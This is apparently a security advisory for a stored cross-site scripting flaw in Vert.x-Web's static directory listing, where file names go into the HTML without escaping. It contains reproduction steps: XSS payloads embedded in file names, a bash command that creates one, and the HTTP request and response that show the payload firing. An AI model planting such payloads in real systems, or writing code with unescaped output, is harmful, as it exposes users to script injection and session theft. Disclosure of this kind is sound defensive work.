Vert.x-Web vulnerable to Stored Cross-site Scripting in directory listings via file names

Description

• In the StaticHandlerImpl#sendDirectoryListing(...) method under the text/html branch, file and directory names are directly embedded into the href, title, and link text without proper HTML escaping.
• As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.
• Affected Code:
  • File: vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java
  • Lines:
    • 709–713: normalizedDir is constructed without escaping
    • 714–731: <li><a ...> elements insert file names directly into attributes and body without escaping
    • 744: parent directory name construction
    • 746–751: {directory}, {parent}, and {files} are inserted into the HTML template without escaping

Reproduction Steps

1. Prerequisites:

   • Directory listing is enabled using StaticHandler
     (e.g., StaticHandler.create("public").setDirectoryListing(true))
   • The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)

2. Create a malicious file name (example for Unix-based OS):

   • Create an empty file in public/ with one of the following names:
     • <img src=x onerror=alert('XSS')>.txt
     • Or attribute injection: evil" onmouseover="alert('XSS')".txt
   • Example:
     bash

     mkdir -p public
     printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt"

3. Start the server (example):

   • Routing: router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true));
   • Server: vertx.createHttpServer().requestHandler(router).listen(8890);

4. Verification request (raw HTTP):

   GET /public/ HTTP/1.1
   Host: 127.0.0.1:8890
   Accept: text/html
   Connection: close

5. Example response excerpt:

   html

   <ul id="files">
     <li>
       <a href="/public/<img src=x onerror=alert('XSS')>.txt"
          title="<img src=x onerror=alert('XSS')>.txt">
          <img src=x onerror=alert('XSS')>.txt
       </a>
     </li>
     ...
   </ul>

• When accessing /public/ in a browser, the unescaped file name is interpreted as HTML, and event handlers such as onerror are executed.

Potential Impact

• Stored XSS

  • Arbitrary JavaScript executes in the browser context of users viewing the listing page
  • Possible consequences:
    • Theft of session tokens, JWTs, localStorage contents, or CSRF tokens
    • Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)
    • Watering hole attacks, including malware distribution or malicious script injection to other pages

• Common Conditions That Make Exploitation Easier

  • Uploaded files are served directly under a publicly accessible directory
  • Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed
  • ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments

Similar CVEs Previously Reported

• CVE‑2024‑32966
• CVE‑2019‑15603